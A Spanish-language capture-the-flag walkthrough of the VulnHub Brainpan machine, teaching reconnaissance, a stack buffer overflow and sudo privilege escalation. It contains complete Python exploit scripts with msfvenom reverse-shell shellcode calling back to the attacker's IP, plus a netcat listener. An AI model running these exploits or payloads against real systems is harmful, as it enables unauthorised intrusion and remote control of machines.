Brainpan
¡Hola, hacker! ¡Bienvenido a un nuevo post!
En este artículo, llevaremos a cabo la resolución de la máquina Brainpan alojada en la plataforma VulnHub. La máquina presenta un binario vulnerable a buffer overflow, al cual tenemos acceso para descargar y probar en una máquina auxiliar. Montaremos un pequeño laboratorio para realizar el debugging, utilizando InImmunity Dubugger junto con el script mona.py
. Finalmente, aprovecharemos una configuración deficiente de sudo
para elevar nuestros privilegios y lograr con éxito la escalada de privilegios.
Reconocimiento
Comenzamos lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.
Reconocimento usando el comando ping
Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live).
Descubrimiento de puertos abiertos
Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
1
nmap -sS -p- --open --T5 5 -Pn -n 192.168.1.10 -oG scanPorts -vvv
Descubrimiento de puertos abiertos
Parámetros utilizados:
-sS
: Realiza un TCP SYN Scan para escanear de manera sigilosa, es decir, que no completa las conexiones TCP con los puertos de la máquina víctima.-p-
: Indica que debe escanear todos los puertos (es igual a-p 1-65535
).--open
: Solo considerar puertos abiertos.-T5
: Especifica el nivel de velocidad del escaneo. En este caso, se establece en el nivel 5, que es el más rápido y agresivo.-Pn
: Desactiva el descubrimiento de host por medio de ping.-vvv
: Activa el modo verbose para que nos muestre resultados a medida que los encuentra.-oG
: Determina el formato del archivo en el cual se guardan los resultados obtenidos. En este caso, es un formato grepeable, el cual almacena todo en una sola línea. De esta forma, es más sencillo procesar y obtener los puertos abiertos por medio de expresiones regulares, en conjunto con otras utilidades como pueden ser grep, awk, sed, entre otras.
Enumeración de versión y servicio
Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.
1
nmap -sCV -p9999,10000 -oN targeted -vvv 192.168.1.10
Descubrimiento de versión y servicio con nmap
Parámetros utilizados:
-sCV
Es la combinación de los parámetros-sC
y-sV
. El primero determina que se utilizarán una serie de scripts básiscos de enumeración propios de nmap, para conocer el servicio que esta corriendo en dichos puertos. Por su parte, el segundo parámetro permite conocer más acerca de la versión de ese servicio.-p-
: Indica que debe escanear todos los puertos (es igual a-p 1-65535
)-oN
: Determina el formato del archivo en el cual se guardan los resultados obtenidos, junto con el nombre del archivotargeted
. En este caso, utiliza el formato por defecto de nmap.-vvv
: Activa el modo verbose para que nos muestre resultados a medida que los encuentra.
Explotación del Buffer Overflow
Cuando nos conectamos al puerto 9999
, se nos presenta una aplicación de consola que solicita una contraseña para acceder.
Aplicación de consola Brainpan
Probamos ingresar algun texto de prueba, pero vemos que no ocurre nada.
Ingresamos a la web que esta corriendo bajo el puerto 10000
.
A simple vista, no encontramos nada interesante pero si hacemos un poco de fuzzing descubrimos la ruta /bin
y bajo esta el binario brainpan.exe
.
1
gobuster dir -u http://192.168.1.10:10000 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
Descargamos el binario y luego empleamos el comando file
para verificar que se trata de un ejecutable de 32 bits.
Utilizamos el comando file para conocer un poco más sobre el binario
Para llevar adelante la explotación del Buffer Overflow, utilizaré una máquina Windows 7 de 64bits que servirá para realizar debugging sobre el binario en cuestión.
En primera instancia, transferimos el binario a nuestra máquina Windows 7 y lo ejecutamos.
Ejecución del binario en la máquina Windows 7 de Debugging
Posteriormente, para comprobar que estamos frente a un buffer overflow nos conectamos a el puerto 9999 e ingresamos unas 800 A's
.
Comprobando que estamos fretne a un buffer overflow
Si observamos la ejecución del binario en la máquina con Windows 7, podemos notar que el proceso se corrompe, confirmando de esta manera que estamos frente a un buffer overflow.
Ejecución del binario en la máquina Windows 7 de Debugging
Orden de ejecución del Buffer Overflow
Para poder explotar el buffer overflow, debemos realizar una serie de pasos en el siguiente orden:
- Fuzzing para determinar limites del programa
- Control del EIP - Búsqueda del offset
- Generación de Bytearrays y detección de Badchars
- Buscar el Pointer (JMP ESP)
- Generar shellcode
- Uso de NOPs
- Programar el exploit
Requisitos:
- Immunity Dubugger
- Descargar mona.py y guardarlo en la carpeta
C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands
Fuzzing para determinar limites del programa
En la fase inicial de explotación de un desbordamiento de buffer, una de las primeras tareas es determinar los límites del programa objetivo. Esto se logra al intentar introducir más caracteres de los permitidos en varios campos de entrada del programa, como una cadena de texto o un archivo, hasta que se observe que la aplicación se corrompe o falla.
Una vez identificado el límite del campo de entrada, el siguiente paso es descubrir el offset, que representa la cantidad exacta de caracteres que deben introducirse para provocar una corrupción en el programa y, por consiguiente, sobrescribir el valor del registro EIP.
El registro EIP (Extended Instruction Pointer) es un registro de la CPU que apunta a la dirección de memoria donde se encuentra la siguiente instrucción que se va a ejecutar. En un buffer overflow exitoso, el valor del registro EIP se sobrescribe con una dirección controlada por el atacante, lo que permite ejecutar código malicioso en lugar del código original del programa.
Por lo tanto, el objetivo de averiguar el offset es determinar el número exacto de caracteres que se deben introducir en el campo de entrada para sobrescribir el valor del registro EIP y apuntar a la dirección de memoria controlada por el atacante. Una vez que se conoce el offset, el atacante puede diseñar un exploit personalizado para el programa objetivo que permita tomar control del registro EIP y ejecutar código malicioso.
En esta etapa inicial, emplearemos un script en Python para determinar aproximadamente la cantidad de caracteres con la que la aplicación se corrompe.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python3
import socket, sys, time
ip = "192.168.1.13" # ip máquina Windows 7 Debugging
port = 9999
payload = b"A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(1)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(payload)))
s.send(payload)
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(payload)))
sys.exit(0)
payload += b"A" * 100
time.sleep(1)
Antes de ejecutar el script, debemos realizar algunas configuraciones previas en el Immunity Dubugger.
Primero que nada, ejecutamos el binario de brainpan.exe
y luego el Immunity Dubugger. Posteriormente, debemos adjuntar el proceso actual del binario de brainpan al Immunity Dubugger para poder realizar el debugging.
Una vez realizado esto, debemos definir la carpeta de trabajo de mona.py
.
1
!mona config -set workingfolder c:\Users\elliot\Desktop\%p
Declaración de la carpeta de trabajo de
mona.py
Por ultimo, no debemos olvidar correr el ejecutable.
De esta forma, ya podemos correr el fuzzer.py
.
Ejecución del script
fuzzer.py
Vemos que el programa corrompe a los 600 bytes y que también logramos sobrescribir el registro EIP con nuestras A's
(en hexadecimal el valor de A corresponde a 41
).
Control del EIP
El siguiente paso, es poder tomar el control del registro EIP para poder indicarle la dirección de memoria donde se encuentra nuestro shellcode.
En este caso, haremos uso de un nuevo script de python exploit.py
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3
import socket
ip = "192.168.1.12"
port = 9999
payload = ""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Enviando shellcode...")
s.send(bytes(payload + "\r\n", "latin-1"))
print("Conectado!")
except:
print("No ha sido posible conectarse.")
Vamos a utilizar el script de ruby pattern_create.rb
, el cual es un módulo de metasploit para crear una cadena más grande de la cual corrope la aplicación.
1
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
El resultado devuelto por el comando anterior, lo asignamos a la variable payload
.
Ejecutamos el exploit
Ejecución del script
exploit.py
Luego, en el Immunity Debugger ejecutamos el siguiente comando de mona
:
1
!mona findmsp -distance 600
Una vez que conocemos el EIP podemos controlarlo.
Para obtener el offset, podemos hacer uso de otro módulo de metasploit llamado pattern_offset.rb
. Este script, devuelve un número que corresponde al offset el cual deberemos agregar al script.
Para ejecutarlo, debemos pasarle el parámetro -q
con la dirección del EIP obtenido:
1
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 35724134
Este valor lo asignamos a la variable offset y agregamos 4 B’s en la variable eip
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
import socket
ip = "192.168.1.12"
port = 9999
offset = 524
before_eip = "A" * offset
eip = "B" * 4
payload = before_eip + eip
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Enviando shellcode...")
s.send(bytes(payload + "\r\n", "latin-1"))
print("Conectado!")
except:
print("No ha sido posible conectarse.")
Si volvemos a ejecutar el script, el valor del EIP debería ser 42424242
que se corresponde con nuestras cuatro B's
(en valor de B
en hexadecimal es 42
).
Generación de Bytearrays y detección de Badchars
En la generación de nuestro shellcode malicioso para la explotación del buffer overflow, es posible que algunos caracteres no sean interpretados correctamente por el programa objetivo. Estos caracteres se conocen como “badchars” y pueden causar que el shellcode falle o que el programa objetivo se cierre inesperadamente.
Para evitar esto, es importante identificar y eliminar los badchars del shellcode. Una vez identificados los badchars, se pueden descartar del shellcode final y generar un nuevo shellcode que no contenga estos caracteres. Para identificar los badchars, se pueden utilizar diferentes técnicas, como la introducción de diferentes bytearrays con caracteres hexadecimales consecutivos, que permiten identificar los caracteres que el programa objetivo no logra interpretar.
En primer lugar, ejecutamos el siguiente comando en el Immunity Debugger:
1
!mona bytearray -b "\x00"
El comando anterior, crea un objeto bytearray
que contiene un patrón de bytes excluyendo el byte nulo (\x00
).
mona
: Es el comando para iniciar la extensiónmona
.bytearray
: Indica que se está generando un objetobytearray
.-b "\x00"
: Especifica que se deben excluir los bytes nulos (\x00
) en la generación del patrón.
Podemos crear un simple recurso compartido utilizando impacket-smbserver
en nuestra máquina atacante para transferir el archivo bytearray.txt
.
1
impacket-smbserver -smb2support sharedFolder .
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
import socket
ip = "192.168.1.12"
port = 9999
offset = 524
before_eip = "A" * offset
eip = "B" * 4
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
payload = before_eip + eip + badchars
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending shellcode...")
s.send(bytes(payload + "\r\n", "latin-1"))
print("Connected!")
except:
print("It has not been possible to connect.")
Corremos el script y obtenemos el resultado del ESP.
Ejecutamos el siguiente comando para compararlos:
1
!mona compare -f c:\Users\elliot\Desktop\brainpan\bytearray.bin -a 0x0022F930
Si aparece algún badchar, tenemos que quitarlo del script y del bytearray generado por mona
y volver a realizar el mismo proceso.
Pointer (JMP ESP)
Listando los módulos con mona
, encontramos que el ejecutable brainpain.exe
no tiene ninguna protección, por lo que podemos buscar alguna dirección de memoria que ejecute la instrucción JMP ESP
, es decir, que realize un “salto” al registro ESP donde estara nuestro shellcode.
Para realizar esta busqueda, debemos ejecutar el siguiente comando de mona
:
1
!mona jmp -r esp -cpb "\x00" -m brainpan.exe
!mona
: Hace referencia al script Mona en Immunity Debugger.jmp
: Indica que estás buscando instrucciones JMP.-r esp
: Especifica que deseas buscar instrucciones donde el destino sea el registro ESP.-cpb "\x00"
: Indicamos que queremos evitar que contengan bytes nulos en la dirección, si existieran más badchars deberíamos indicarlos.-m brainpan.exe
: El parámetro-m
especifica el módulo o el archivo de destino.
La dirección de memoria que corresponde con la instrucción JMP ESP
es 0x311712F3
, es ahí donde tiene que apuntar el registro EIP
.
En hexadecimal, la instrucción
JMP ESP
se representa comoFFE4
, podemos comprobar esto haciendo uso del módulonasm_shell
de metasploit:
ShellCode
Como ultimo punto, solo resta generar nuestro shellcode. Para ello utilizaremos msfvenom
indicando como payload windows/shell_reverse_tcp
de la siguiente forma:
1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.14 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'
msfvenom
: La herramienta de generación de exploits y payloads en Metasploit.-p windows/shell_reverse_tcp
: Especifica el tipo de payload que se generará, en este caso, un shell de Windows con conexión de retorno TCP.LHOST=192.168.1.14
: Indica la dirección IP del host al que se conectará el shell. Debes reemplazar192.168.1.14
con la dirección IP de tu máquina atacante.LPORT=4444
: Especifica el número de puerto al que se conectará el shell. En este caso, el puerto es4444
. Puedes cambiarlo según tus necesidades.EXITFUNC=thread
: Establece la técnica que el payload utilizará para salir. En este caso, se utilizathread
para salir mediante un hilo.-b "\x00"
: Especifica los bytes que deben evitarse en el payload. En este caso, se están evitando los bytes nulos (\x00
), lo que es común en técnicas de evasión.-f c
: Indica el formato de salida del payload. En este caso, se está utilizando el formatoc
(C code), lo que significa que el payload se generará como código C.
El resultado generado lo asignamos como valor de nuestra variable shellcode
.
Además, como estamos frente a una arquitectura x86 las direcciones de memoria deben representarse en little-endian, es decir, el valor de nuestra variable eip
que corresponde a la instrucción JMP ESP
debe representarse de la siguiente forma:
1
eip = '\xf3\x12\x17\x31'
Uso de NOPs y desplazamientos en pila
Una vez que se ha encontrado la dirección del opcode que aplica el salto al registro ESP, es posible que el shellcode no sea interpretado correctamente debido a que su ejecución puede requerir más tiempo del que el procesador tiene disponible antes de continuar con la siguiente instrucción del programa.
Para solucionar este problema, se suelen utilizar técnicas como la introducción de NOPS (instrucciones de no operación) antes del shellcode en la pila. Los NOPS no realizan ninguna operación, pero permiten que el procesador tenga tiempo adicional para interpretar el shellcode antes de continuar con la siguiente instrucción del programa.
Los nops en hexadecimal se representan como \x90
En nuestro script, utilizaremos un total de 32 nops lo cual otorgara suficiente tiempo al procesador para ejecutar nuestro shellcode.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python3
import socket, sys
ip = "192.168.1.12"
port = 9999
offset = 524
before_eip = b"A" * offset
eip = '\xf3\x12\x17\x31'
shellcode = b""
shellcode += b"\xbf\x43\xec\x59\xa4\xdb\xd4\xd9\x74\x24\xf4"
shellcode += b"\x5d\x2b\xc9\xb1\x52\x83\xed\xfc\x31\x7d\x0e"
shellcode += b"\x03\x3e\xe2\xbb\x51\x3c\x12\xb9\x9a\xbc\xe3"
shellcode += b"\xde\x13\x59\xd2\xde\x40\x2a\x45\xef\x03\x7e"
shellcode += b"\x6a\x84\x46\x6a\xf9\xe8\x4e\x9d\x4a\x46\xa9"
shellcode += b"\x90\x4b\xfb\x89\xb3\xcf\x06\xde\x13\xf1\xc8"
shellcode += b"\x13\x52\x36\x34\xd9\x06\xef\x32\x4c\xb6\x84"
shellcode += b"\x0f\x4d\x3d\xd6\x9e\xd5\xa2\xaf\xa1\xf4\x75"
shellcode += b"\xbb\xfb\xd6\x74\x68\x70\x5f\x6e\x6d\xbd\x29"
shellcode += b"\x05\x45\x49\xa8\xcf\x97\xb2\x07\x2e\x18\x41"
shellcode += b"\x59\x77\x9f\xba\x2c\x81\xe3\x47\x37\x56\x99"
shellcode += b"\x93\xb2\x4c\x39\x57\x64\xa8\xbb\xb4\xf3\x3b"
shellcode += b"\xb7\x71\x77\x63\xd4\x84\x54\x18\xe0\x0d\x5b"
shellcode += b"\xce\x60\x55\x78\xca\x29\x0d\xe1\x4b\x94\xe0"
shellcode += b"\x1e\x8b\x77\x5c\xbb\xc0\x9a\x89\xb6\x8b\xf2"
shellcode += b"\x7e\xfb\x33\x03\xe9\x8c\x40\x31\xb6\x26\xce"
shellcode += b"\x79\x3f\xe1\x09\x7d\x6a\x55\x85\x80\x95\xa6"
shellcode += b"\x8c\x46\xc1\xf6\xa6\x6f\x6a\x9d\x36\x8f\xbf"
shellcode += b"\x32\x66\x3f\x10\xf3\xd6\xff\xc0\x9b\x3c\xf0"
shellcode += b"\x3f\xbb\x3f\xda\x57\x56\xba\x8d\x97\x0f\xc5"
shellcode += b"\x43\x70\x52\xc5\x4a\xdc\xdb\x23\x06\xcc\x8d"
shellcode += b"\xfc\xbf\x75\x94\x76\x21\x79\x02\xf3\x61\xf1"
shellcode += b"\xa1\x04\x2f\xf2\xcc\x16\xd8\xf2\x9a\x44\x4f"
shellcode += b"\x0c\x31\xe0\x13\x9f\xde\xf0\x5a\xbc\x48\xa7"
shellcode += b"\x0b\x72\x81\x2d\xa6\x2d\x3b\x53\x3b\xab\x04"
shellcode += b"\xd7\xe0\x08\x8a\xd6\x65\x34\xa8\xc8\xb3\xb5"
shellcode += b"\xf4\xbc\x6b\xe0\xa2\x6a\xca\x5a\x05\xc4\x84"
shellcode += b"\x31\xcf\x80\x51\x7a\xd0\xd6\x5d\x57\xa6\x36"
shellcode += b"\xef\x0e\xff\x49\xc0\xc6\xf7\x32\x3c\x77\xf7"
shellcode += b"\xe9\x84\x97\x1a\x3b\xf1\x3f\x83\xae\xb8\x5d"
shellcode += b"\x34\x05\xfe\x5b\xb7\xaf\x7f\x98\xa7\xda\x7a"
shellcode += b"\xe4\x6f\x37\xf7\x75\x1a\x37\xa4\x76\x0f"
after_eip = b"\x90" * 32 + shellcode
payload = before_eip + eip + after_eip
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Enviando shellcode...")
s.send(payload + b"\r\n")
print("Conectado!")
except:
print("No ha sido posible conectarse.")
sys.exit(1)
Prueba del exploit
Establecemos un listener con netcat por el puerto 4444
.
Establecemos un listener con nc
Ejecutamos el exploit
Ganamos acceso a la máquina.
Logramos explotar el buffer overflow en la máquina Windows 7 de Debugging
Exploit final y acceso a la máquina víctima
Ahora que tenemos pronto y probado el exploit, debemos generar el shellcode acorde al sistema operativo de la máquina victima, que en este caso es Linux. Por lo tanto, volvemos a ejecutar msfvenom
indicando como payload linux/x86/shell_reverse_tcp
.
1
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.14 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'
Nuestro exploit final es el siguiente:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python3
import socket
ip = "192.168.1.10" # Asignamos la IP de la máquina Brainpan
port = 9999
offset = 524
before_eip = b"A" * offset
eip = b"\xf3\x12\x17\x31"
shellcode = b""
shellcode += b"\xdb\xcf\xd9\x74\x24\xf4\xbb\x01\x95\xe8\x78"
shellcode += b"\x5a\x31\xc9\xb1\x12\x31\x5a\x17\x03\x5a\x17"
shellcode += b"\x83\xc3\x91\x0a\x8d\xf2\x42\x3d\x8d\xa7\x37"
shellcode += b"\x91\x38\x45\x31\xf4\x0d\x2f\x8c\x77\xfe\xf6"
shellcode += b"\xbe\x47\xcc\x88\xf6\xce\x37\xe0\xc8\x99\xc9"
shellcode += b"\xfe\xa0\xdb\xc9\xef\x6c\x55\x28\xbf\xeb\x35"
shellcode += b"\xfa\xec\x40\xb6\x75\xf3\x6a\x39\xd7\x9b\x1a"
shellcode += b"\x15\xab\x33\x8b\x46\x64\xa1\x22\x10\x99\x77"
shellcode += b"\xe6\xab\xbf\xc7\x03\x61\xbf"
after_eip = b"\x90" * 32 + shellcode
payload = before_eip + eip + after_eip
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("[+] Enviando shellcode...")
s.send(payload + b"\r\n")
print("[+] Conectado!")
except:
print("[!] No ha sido posible conectarse")
Establecemos un listener con netcat por el puerto 4444
.
Establecemos un listener con nc
Ejecutamos el exploit
Ganamos acceso a la máquina Braipan.
Escalación de privilegios
Si realizamos una enumeración básica del sistema, descubrimos que podemos ejecutar el binario ubicado en /home/anansi/bin/anansi_util
mediante el comando sudo.
Cuando ejecutamos el comando, observamos que hay varias opciones disponibles que podemos utilizar como argumentos. Una de ellas es manual
, que nos permite ejecutar el comando man
seguido del segundo argumento que proporcionemos.
Realizando una búsqueda en GTFOBins, podemos identificar una oportunidad para elevar nuestros privilegios aprovechando el hecho de que man
utiliza less
como el paginador predeterminado en la mayoría de los sistemas Linux.
De esta forma, concluimos la resolución de la máquina Brainpan.
Espero que los conceptos hayan quedado claros. Si has llegado hasta este punto y aún tienes dudas, te recomiendo volver a realizar la máquina.
Gracias por tu lectura!
Happy Hacking!